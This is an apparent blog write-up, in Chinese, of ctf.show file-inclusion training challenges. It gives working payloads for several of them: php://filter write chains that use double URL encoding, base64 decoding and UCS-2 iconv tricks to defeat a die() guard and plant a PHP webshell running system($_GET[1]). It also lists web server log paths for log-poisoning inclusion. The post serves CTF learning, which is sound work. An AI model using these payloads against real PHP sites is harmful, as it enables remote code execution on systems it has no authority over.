ctf_show笔记篇(web入门---文件包含)

目录

文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

117:还是使用php伪协议的特性


文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

日志文件路径:前提是可以访问到日志文件

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

大小写绕过,例如PHP://filter

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

那么这些过滤就没用了不用管了

payload:

原:file=php://filter/write=convert.base64-decode/resource=a.php

url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

原content=<?php eval(system($_GET1));?>

content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

利用php伪协议的特性

  1. base64指定只能只用a-z A-Z 0-9的字符
    所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化
  2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
    最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

过滤以下协议,当没有填入file函数的时候file=sp2.mp4

117:还是使用php伪协议的特性

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

通过这样可以将<?php die();?>打乱

而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

contents=?<hp pvela$(P_SOTa;)>?

相关推荐
深圳雨林凯AI15 小时前
图案裂变的“风格归一化“设计思路:主体保得住,画风才拉得齐|雨林凯AI技术笔记
人工智能·笔记
梦曦i16 小时前
@meng-xi/create-uni-app vs unibest:轻量脚手架与重型框架的定位之争
前端·uni-app
平头哥技术团队16 小时前
Day 10 | 工欲善其事:VS Code 配置与项目归档
android·开发语言·前端·javascript·html·交互
乌恩大侠16 小时前
GH200 新增 NVMe SSD 分区、格式化与挂载完整流程
运维·服务器·前端
m0_3807438716 小时前
给 Claude API 调用补上超时重试和错误分类
开发语言·人工智能·php
yume_sibai16 小时前
Element Plus 数据展示组件完全指南(15个核心组件)
前端·javascript·vue.js
冬木家居17 小时前
40㎡客厅变形记,小家住出大自由[特殊字符]
android·经验分享·笔记·智能家居·微信公众平台
摇滚侠17 小时前
《SpringBoot 3:入门与应用实战》第 12 章 JDBC 与事务 数据库初始化机制 阅读笔记 36
数据库·spring boot·笔记
qiuhaipeng117 小时前
Claude code 升级后上下文长度变短问题
java·前端·数据库
zzz_236817 小时前
个人 AI 记忆如何跨工具复用:用 Markdown、索引和 Skill 搭一个可治理的记忆库
前端·人工智能·react.js·前端框架·agent·agent测评